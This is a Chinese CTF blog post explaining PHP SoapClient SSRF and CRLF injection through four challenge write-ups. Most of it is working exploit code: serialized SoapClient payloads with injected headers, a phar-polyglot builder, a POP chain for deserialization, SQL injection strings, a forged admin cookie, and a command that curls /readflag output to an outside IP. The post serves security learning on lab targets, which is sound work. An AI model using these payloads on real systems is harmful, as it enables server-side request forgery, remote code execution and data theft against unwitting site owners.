抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

byc_404's blog

Do not go gentle into that good night

这几天在buu上疯狂刷题。突然接触到了一个之前没有注意过的知识点。那就是使用Soap进行ssrf。目前做到的几道题个人觉得还是非常有营养的。那么干脆总结下关于php+Soap的相关知识。

Soap

SOAP是webService三要素(SOAP、WSDL、UDDI)之一:

  • WSDL 用来描述如何访问具体的接口。

  • UDDI用来管理,分发,查询webService。

  • SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
    其采用HTTP作为底层通讯协议,XML作为数据传送的格式。

SoapClient

PHP 的 SOAP 扩展可以用来提供和使用 Web Services
这个扩展实现了6个类。其中有三个高级的类: SoapClient、SoapServer 和SoapFault,
和三个低级类,它们是 SoapHeader、SoapParam 和 SoapVar。
其构造方法如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

第一个参数是用来指明是否是wsdl模式。通常我们构造时设为null即可。

第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

这里有趣的地方就在于两点

  • SoapClient是php的原生类。且它有一个__call()魔术方法
  • SoapClient的第二个参数允许我们自定义User-Agent

来依次解释下这两个有趣之处
1.原生类说明我们不需要刻意去寻找php POPChain中的利用点。因为Soap已经提供给我们一个现成的魔术方法。而只要用Soap,我们就可以达成ssrf,可以打内网.

2.User-Agent可自定义带来的是CRLF注入的可能。为什么这么说?因为http header里有一个重要的Content-Type为和Content-Length。
而User-Agent的http header位置正好在这些之上,所以可以进行覆盖。对于Content-Type,如果我们想要利用CRLF发送post请求,那么要求它为application/x-www-form-urlencode
那么此时就可以利用CRLF,构造如下payload

$payload = new SoapClient(null,array('user_agent'=>"test\r\nCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32\r\n
Content-Type: application/x-www-form-urlencoded\r\nContent-Length:45\r\n\r\n
username=admin&password=nu1ladmin&code=470837\r\n\r\n\r\n",
'location'=>$location,
'uri'=>$uri));

CRLF与SSRF,这两个漏洞都可以通过SoapClient达成。

真题

干说道理是不够的,这里直接把几天来做到的真题分析下。

踩坑: windows下开启SoapClient:
SoapClient用到的是php扩展,需要在php.ini启用三个动态链接库

  • php_soap.dll
  • php_openssl.dll
  • php_curl.dll

这里我的ini文本中开始只找到一个未启用的库;extension=php_curl.dll,但是实际上在php的文件夹的ext里应该是可以全部找到的。所以需要把这三个文件名都启用(即去掉开头分号),并令其等于对应的扩展路径,这样就可以使用SoapClient了。

Linux安装一把梭就好,不必多说。

bestphp’s revenge

题目源码
index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }

题目有几个重点,我们先从结果看起。
flag在flag.php中,想要读到flag,必然需要从127.0.0.1访问,然后flag会被保存在session值中。显然是个ssrf了。那么我们看看index.php中的代码
var_dump($_SESSION);
首先确认session的值会被打印出来。既然如此,那看来我们的目标就是ssrf了。再来看看其他函数需要怎么利用。
很唐突的一个$b = 'implode';+call_user_func($_GET['f'], $_POST);以及最后一个call_user_func($b, $a);
这里b紧接着一个call_user_func看来是可以变量覆盖了。
那么如果覆盖了的话,覆盖成什么,又怎么利用呢?
这里需要知道一点:

  • call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法

‘假如我们一开始利用f将b覆盖成 call_user_func(),那么在index.php的最后,函数将执行
calluserfunc(calluserfunc,array($_session,‘welcome_to_the_lctf2018’))
由于$_SESSION['name'] = $_GET['name'];可控,如果令name=SoapClient,不就成了

call_user_func(SoapClient->welcome_to_the_lctf2018)

吗?
前面提到,如果SoapClient存在__call()魔术方法,调用不存在的方法将直接触发我们所需要的ssrf.
那么整个流程的最后一步可以先行构造:

<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
    'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",
    'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
?>

注意的是,这里还用到了我们上面提到的CRLF漏洞

  'user_agent' => "byc\r\nCookie: PHPSESSID=g6ooseaeo905j0q4b9qqn2n471\r\n",

看,只要\r\n,我们就可以控制访问时的Cookie,这样最后生效的flag也会被保存在我们可控的cookie中

下面要思考的就是,怎么触发反序列化呢?联系到题目中敏感的session存储,自然可以联想到某个不用unserialize也能触发的反序列化漏洞:phpsession处理器引擎不一致导致的反序列化。
那么问题就解决了:我们在最开始就令引擎为php_serialize,并将序列化数据存储到session中。然后在第二次才进行ssrf。此时由于处理器重新变回php,将触发反序列化,从而触发ssrf,将flag存储在可控cookie中。最后换cookie访问即可。
poc:

1.f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5......
同时post serizliaze_handler=php_serialize
这样执行的就是session_start("serialize_handler":'php_serialize')
我们的数据被成功写入session

2.f=extract&name=SoapClient
同时post b=calluserfunc
这样执行的就是calluserfunc(calluserfunc,array($_session,‘welcome_to_the_lctf2018’))

最后换cookie访问index.php就能拿到flag了。

De1CTF shellshellshell

超级麻烦的一道题……
可能是因为我懒得写自动化脚本吧。看到赵师傅的wp直接自动化一把梭羡慕不已。
这题其他细节我就不讲了,主要重点讲讲中间利用Soap的部分
首先题目在登录进去后有个点,这里signature变量可以构造下时间盲注。因为反引号+正则替换的使用不当,导致了可注的地方,于是可以得到管理员的账号密码。
大概是这种形式吧

1` or sleep(3) ,1)# 

但是尝试登录时却提示需要从本地登进,这就是说要ssrf了。怎么达成呢?
因为我环境懒得重开了,借用下其他师傅的图


虽然将mood参数转int并addshalshes了,但是后面mood参数在可以注入的signnature参数后面,所以可以通过注入将其直接注释掉,来注入一个我们的恶意序列化对象

然后调用了一个getcountry()方法,结合我们之前的需求,正好可以使用SoapClient。只要使用Soap构造一个登陆admin的请求,序列化后插入数据库,这里调用不存在方法时就能直接触发__call()进而触发ssrf。

<?php
$target = "http://127.0.0.1/index.php?action=login";
$post_string = 'username=admin&password=jaivypassword&code=4153792';
$headers = array(
    'Cookie: PHPSESSID=pu1bnms95shhapubhqoh9vk7h2',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'byc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^','uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo '0x'.bin2hex($aaa);
?>

稍微解释下要点,我们需要的是ssrf登录admin,那么到时候反序列化触发完了,我们自己登进去,需要的就是一个满足条件的cookie。
同时因为要构造的请求必须是登录时包含了admin的账号密码以及验证码的数据,所以需要post请求。这里又一次用到CRLF,来控制Content-Type,Content-Length,达成post请求的条件。

那么此时最好重开一个浏览器,直接使用新界面的cookie以及算好的验证码放到脚本中,得到16进制的序列化数据。然后在已经登录的位置注入序列化数据。这时会自动跳到index界面,触发序列化。(我直接遇到500,但是不影响)之后再回到原先未登录的地方登录就好了。

后面的部分不提了,昨天做了我一下午……可以参考赵师傅或者其他师傅的wphttps://www.zhaoj.in/read-6170.html
https://blog.csdn.net/chasingin/article/details/104687766

SUCTF UploadLabs2

这题也是给出源码,然后审计
首先是Ad类一个诱人的析构方法

function __destruct(){
        system($this->cmd);
    }

来看看达成条件

需要ssrf,不用说这里应该又可以想到我们的Soap类了。
然后看看有没有可用的方法,很快在File类中找到

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

这里ReflectionClass是php中反射类的意思。所以其实wakeup的前两行就是执行了一个实例化对象的作用

$class = new ReflectionClass('Person'); // 建立 Person这个类的反射类  
$instance  = $class->newInstanceArgs($args); // 相当于实例化Person 类 

加上那个$a->check();我们基本确定这里就是用Soap类来构造了。
接下来联系func.php中传参实例化File对象的做法,

  $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";

不难想到使用phar来触发反序列化,这样我们的File类在实例化后,被触发反序列化,调用__wakeup(),只要func是SoapClient就能进行后续的ssrf,达成任意命令执行了。

<?php
class File{
    public $file_name;
    public $func='SoapClient';

    function __construct(){
        $target = "http://127.0.0.1/admin.php";
        $post_string = 'admin=&cmd=curl http://174.1.28.1:8877/?`/readflag`&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
        $headers = [];
        $this->file_name=[
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "\r\n",'byc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^')
            ,'uri'=>'hello')
        ];
    }
}
$a=new File();
echo urlencode(serialize($a));
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<script language='php'> __HALT_COMPILER(); </script>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
rename('1.phar','1.jpg');

同样提几个细节:

  • Soap的参数中file_name被设为数组是反射类的一个特点,它接收的是数组参数。
  • phar的文件名已经改成jpg了,但是为了过一个文件头的校验还得设定$phar->setStub("<script language='php'> __HALT_COMPILER(); </script>");
  • post数据除了cmd跟admin外,还要注意Ad在析构前调用的另外一个check()方法中接收的参数,他们都是反射类实例化的

    而我们只需要传存在的类跟方法即可。比如SplStack就是php标准库里数据结构类,push方法也是自然存在的。
    所以上传1.jpg,在func.php调用
    php://filter/resource=phar://upload/76d9f00467e5ee6abc3ca60892ef304e/f3ccdd27d2000e3f9255a7e3e2c48800.jpg触发反序列化。

这里我往buu的requestsbin打payload没收到不止没收到,直接死在文件流那了。它报的我文件是ost-stream。命令执行失败。

用它的内网靶机就没事?好吧,还是有flag的hhh.

SWPU2019 web6

上来一个sql的万能密码,用到了with rollup的trick
1’ or ‘1’=’1’ group by passwd with rollup having passwd is NULL – -
添加一个空列,进行结果判断NULL=false
绕过弱类型相等

进去后发现wsdl.php提供了不少接口,其中一个可以读文件
把可读的文件读一下
index.php


 <?php
ob_start();
include ("encode.php");
include("Service.php");
//error_reporting(0);

//phpinfo();

$method = $_GET['method']?$_GET['method']:'index';
//echo 1231;
$allow_method = array("File_read","login","index","hint","user","get_flag");


if(!in_array($method,$allow_method))
{
    die("not allow method");
}


if($method==="File_read")
{
    $param =$_POST['filename'];
    $param2=null;

}else
{
    if($method==="login")
    {
        $param=$_POST['username'];
        $param2 = $_POST['passwd'];
    }else
    {
        echo "method can use";
    }
}

echo $method;
$newclass = new Service();
echo $newclass->$method($param,$param2);

ob_flush();
?>

Surface.php

<?php   
    include('Service.php');
    $ser = new SoapServer('Service.wsdl',array('soap_version'=>SOAP_1_2));
    $ser->setClass('Service');
    $ser->handle();
?>

se.php

<?php


ini_set('session.serialize_handler', 'php');

class aa
{
        public $mod1;
        public $mod2;
        public function __call($name,$param)  调用函数,显然可跟进到invoke
        {
            if($this->{$name})
                {
                    $s1 = $this->{$name};
                    $s1();
                }
        }
        public function __get($ke)
        {
            return $this->mod2[$ke];
        }
}


class bb
{
        public $mod1;
        public $mod2;
        public function __destruct()  入手点,显然可跟进到__call
        {
            $this->mod1->test2();
        }
} 

class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
        public function __invoke()
        {
                $this->mod2 = $this->mod3.$this->mod1; 拼接,那么有字符串了
        } 
}

class dd
{
        public $name;
        public $flag;
        public $b;

        public function getflag()  此处可ssrf,到头了
        {
                session_start(); 
                var_dump($_SESSION);
                $a = array(reset($_SESSION),$this->flag);
                echo call_user_func($this->b,$a);
        }
}
class ee
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->{$this->str2}(); 有字符串了,只有他能调用对象的方法,当然是ssrf
                return "1";
        }
}




$a = $_POST['aa'];
unserialize($a);
?>

encode.php

<?php


function en_crypt($content,$key){
    $key    =    md5($key);
    $h      =    0;
    $length    =    strlen($content);
    $swpuctf      =    strlen($key);
    $varch   =    '';
    for ($j = 0; $j < $length; $j++)
    {
        if ($h == $swpuctf)
        {
            $h = 0;
        }
        $varch .= $key{$h};

        $h++;
    }
    $swpu  =  '';

    for ($j = 0; $j < $length; $j++)
    {
        $swpu .= chr(ord($content{$j}) + (ord($varch{$j})) % 256);
    }
    return base64_encode($swpu);
}

找到不可读的方法 get_flag,得知要点:

get_flag only admin in 127.0.0.1 can get_flag

  • ssrf needed
  • POPchain needed
  • decrypt and be admin

先看popchain

bb->__destruct //$mod1 为aa对象
    ->aa ->_call()->$s1(); //$需要调用的$s1是个对象
        ->cc-> __invoke()-> //拼接,需要属性是字符串
            ee->_toString()-> //$str1是dd对象->getflag()
                dd->getflag()
<?php
class aa
{
        public $mod1;
        public $mod2;
}


class bb
{
        public $mod1;
        public $mod2;
} 

class cc
{
        public $mod1;
        public $mod2;
        public $mod3;
}

class dd
{
        public $name;
        public $flag;
        public $b;
}
class ee
{
        public $str1;
        public $str2;
}
$ee=new ee();
$ee->str1=new dd();
$ee->str2='getflag';
$cc=new cc();
$cc->mod3='1';
$cc->mod1=$ee;
$aa=new aa();
$aa->mod1=$cc;
$aa->mod2=array('test2'=>&$aa->mod1);
$bb=new bb();
$bb->mod1=$aa;

$ee->str1->b='call_user_func';
$ee->str1->flag='get_flag';
$sa=serialize($bb);
echo $sa;

这题类似bestphp’srevenge,所以前面的链好了后可以直接把getflag()用到的两个参数填好。原理是一样的。
链子好了,回头看看解码

function de_crypt($swpu,$key){
    $swpu=base64_decode($swpu);
    $key=md5($key);
    $h=0;
    $length=strlen($swpu);
    $swpuctf=strlen($key);
    $varch='';
    for($j=0;$j<$length;$j++){
        if($h==$swpuctf)
        {
            $h=0;
        }
        $varch.=$key{$h};
        $h++;
    }
    $content='';
    for($j=0;$j<$length;$j++)
    {
        $content.= chr(ord($swpu{$j}) - (ord($varch{$j}))+256 % 256);
    }
    return $content;
}

解码cookie得到xiaoC:3
那就加密伪造admin
admin:1 xZmdm9NxaQ==

现在差一个Sopa打127.0.0.1调用getflag
需要注意的是
interface.php已经有现成的soap接口了,所以不能直接访问index.php调用get_flag。而是通过call_user_func调用SoapClient类的get_flag方法即调用了Service类的get_flag方法
先将数据写入session

<?
$target = 'http://127.0.0.1/interface.php';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: user=xZmdm9NxaQ==',
);

$b = new SoapClient(null, array('location' => $target, 'user_agent'=>'byc^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers),'uri'=>'aabb'));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo $a;
?>

利用表单传进session

<html>
<body>
    <form action="http://04bda212-e690-478a-99d5-846e353f75ca.node3.buuoj.cn/index.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>

加上上面链子的payload.即可get_flag

评论